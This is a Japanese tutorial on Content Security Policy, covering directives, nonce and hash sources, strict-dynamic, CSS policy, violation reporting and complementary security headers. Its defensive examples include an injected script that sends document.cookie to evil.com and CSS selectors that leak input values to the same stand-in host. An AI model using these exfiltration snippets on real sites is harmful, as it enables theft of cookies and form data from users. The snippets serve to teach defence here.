Content Security Policy 深掘り:XSS 防御から strict-dynamic まで
CSP:XSS 防御の最後の防衛線
Content Security Policy(CSP)は HTTP レスポンスヘッダーで、ブラウザにどのリソースをどこから読み込めるかを指示します。攻撃者が悪意あるスクリプトを注入しても、CSP はその実行を阻止できます。
CSP なしの XSS 攻撃
<!-- 攻撃者が注入したスクリプト -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
CSP ありの場合
Content-Security-Policy: default-src 'self'
→ ブラウザはインラインスクリプトの実行を拒否
→ 非同一オリジンリソースの読み込みを拒否
→ XSS 攻撃が無効化
CSP コアディレクティブ
リソース読み込みディレクティブ
| ディレクティブ | 制御対象 | 例 |
|---|---|---|
default-src |
全リソースのデフォルトポリシー | 'self' |
script-src |
JavaScript の出所 | 'self' 'nonce-abc' |
style-src |
CSS の出所 | 'self' 'unsafe-inline' |
img-src |
画像の出所 | 'self' data: https: |
font-src |
フォントの出所 | 'self' https://fonts.gstatic.com |
connect-src |
fetch/XHR/WebSocket の出所 | 'self' https://api.example.com |
media-src |
音声/動画の出所 | 'self' |
object-src |
<object>/<embed> の出所 |
'none' |
frame-src |
iframe の出所 | 'self' |
base-uri |
<base href> の制限 |
'self' |
form-action |
フォーム送信先 | 'self' |
ドキュメントディレクティブ
| ディレクティブ | 効果 | 推奨値 |
|---|---|---|
upgrade-insecure-requests |
HTTP を自動で HTTPS にアップグレード | (値なし) |
block-all-mixed-content |
混合コンテンツをブロック | (値なし) |
sandbox |
ページ機能を制限 | allow-scripts allow-forms |
unsafe-inline から nonce/hash へ
unsafe-inline のリスク
script-src 'self' 'unsafe-inline'
→ すべてのインラインスクリプトの実行を許可
→ XSS 注入の <script> も実行される
→ CSP が形骸化
nonce アプローチ
サーバーはリクエストごとにランダムな nonce を生成し、一致する nonce を持つスクリプトのみ実行を許可します:
<!-- HTTP レスポンスヘッダー -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'
<!-- HTML 内のスクリプト -->
<script nonce="abc123def456">
console.log('これは正当なスクリプト');
</script>
<!-- 攻撃者のスクリプトには nonce がない → ブロック -->
<script>
stealCookies(); // 実行されない
</script>
Next.js での nonce 実装
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = `script-src 'self' 'nonce-${nonce}'`;
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
hash アプローチ
スクリプト内容の SHA256 ハッシュを計算し、ハッシュが一致するスクリプトのみ実行を許可します:
Content-Security-Policy: script-src 'self' 'sha256-abc123...'
<!-- ハッシュが一致するスクリプトは実行可能 -->
<script>console.log('固定内容スクリプト');</script>
hash は内容が固定のインラインスクリプト(GA 初期化コードなど)に適し、nonce は動的コンテンツに適しています。
strict-dynamic:信任チェーン伝播
従来の CSP の課題
サードパーティスクリプトの追加ごとに script-src にドメインを追記:
script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...
保守が困難で、そのドメイン下の全スクリプトを信任してしまう。
strict-dynamic アプローチ
strict-dynamic はnonce/hash で信任されたスクリプトが動的に読み込むスクリプトも自動的に信任することを意味します。
script-src 'strict-dynamic' 'nonce-abc123'
- nonce 付きの
<script>は実行可能 - そのスクリプトが
document.createElement('script')で作成したスクリプトも実行可能 - CSP に全 CDN ドメインを列挙する必要がない
信任チェーン伝播ルール
nonce で信任されたスクリプト
↓ 動的読み込み
子スクリプトは自動信任
↓ 動的読み込み
孫スクリプトも自動信任
↓ ...
strict-dynamic下では、'self'、'unsafe-inline'、ドメインソースなどの従来のソース式は無視され、nonce/hash のみが信任ルートとなります。
style-src の特別な扱い
なぜ CSS にも CSP が必要か
攻撃者は CSS を通じてデータを窃取できます:
/* CSS データ窃取:属性値に応じて異なる背景画像を読み込む */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }
スタイル CSP 戦略
style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
.card { border-radius: 8px; }
</style>
多くのフレームワーク(Tailwind CSS JIT など)は
'unsafe-inline'を必要とします。nonce や hash で段階的に厳格化できます。
CSP 違反レポート
レポートエンドポイントの設定
Content-Security-Policy: default-src 'self'; report-uri /api/csp-report
新しい report-to を使用:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"
違反レポート形式
{
"csp-report": {
"document-uri": "https://toolsku.com/blog/csp",
"violated-directive": "script-src 'self'",
"blocked-uri": "inline",
"source-file": "https://toolsku.com/blog/csp",
"line-number": 42,
"column-number": 8
}
}
サーバー側のレポート処理
export async function POST(request: Request) {
const report = await request.json();
console.error('CSP violation:', report['csp-report']);
await db.insert('csp_violations', {
uri: report['csp-report']['document-uri'],
directive: report['csp-report']['violated-directive'],
blocked: report['csp-report']['blocked-uri'],
timestamp: new Date()
});
return new Response(null, { status: 204 });
}
CSP Report-Only モード
CSP をデプロイする前に Report-Only モードで違反を観察します。実際にはブロックしません:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report
段階的デプロイフロー
1. CSP-Report-Only を設定 → 違反レポートを収集
2. レポートを分析 → CSP ポリシーを調整
3. 違反がゼロになったら → 正式な CSP に切替
4. 継続的にモニタリング → 新しい違反があれば再調整
完全な CSP 設定例
ToolsKu サイトの CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.toolsku.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
report-uri /api/csp-report
設定の解説
| ディレクティブ | 値 | セキュリティ上の意義 |
|---|---|---|
default-src 'self' |
デフォルトは同一オリジンのみ | 任意リソース読み込みを防止 |
script-src 'strict-dynamic' 'nonce-...' |
nonce + 信任チェーン | unsafe-inline を排除 |
style-src 'unsafe-inline' |
インラインスタイルを許可 | Tailwind JIT で必要 |
object-src 'none' |
Flash/Java を禁止 | レガシープラグインの攻撃面を排除 |
frame-src 'none' |
iframe を禁止 | クリックジャッキングを防止 |
base-uri 'self' |
base タグを制限 | base ハイジャックを防止 |
form-action 'self' |
フォームは同一オリジンのみ送信 | フォームハイジャックを防止 |
補完的なセキュリティレスポンスヘッダー
| ヘッダー | 効果 | 推奨値 |
|---|---|---|
X-Content-Type-Options |
MIME スニッフィングを防止 | nosniff |
X-Frame-Options |
iframe 埋め込みを防止 | DENY |
X-XSS-Protection |
ブラウザ XSS フィルター | 0(CSP でカバー済み) |
Strict-Transport-Security |
HTTPS を強制 | max-age=31536000; includeSubDomains |
Referrer-Policy |
Referer 漏洩を制御 | strict-origin-when-cross-origin |
Permissions-Policy |
ブラウザ API を制限 | camera=(), microphone=(), geolocation=() |
よくある落とし穴
| 落とし穴 | 説明 | 解決策 |
|---|---|---|
unsafe-eval |
eval()/new Function() を許可 |
eval の使用を避ける、または Wasm で代替 |
unsafe-inline + nonce |
nonce があると inline は無視される | unsafe-inline を削除 |
default-src の欠落 |
未設定ディレクティブは default-src にフォールバック | 常に default-src を設定 |
| CDN ドメイン過多 | 保守困難 | strict-dynamic を使用 |
base-uri 未設定 |
攻撃者が <base> を注入して相対パスを改変 |
base-uri 'self' を設定 |
まとめ
CSP は XSS 防御の中核機構です。unsafe-inline から nonce + strict-dynamic への移行はモダン CSP のベストプラクティスです。インラインスクリプトのリスクを排除しつつ、サードパーティスクリプトの信任チェーン保守問題を解決します。Report-Only による段階的デプロイと違反レポートのモニタリングを組み合わせれば、機能を壊さずにセキュリティポリシーを継続的に厳格化できます。
CSP ジェネレーター で CSP ポリシーを素早く設定、HTTP ヘッダー分析 でレスポンスヘッダーの安全性を確認、Permissions Policy ツール でブラウザ API アクセスを制限できます。
ブラウザローカルツールを無料で試す →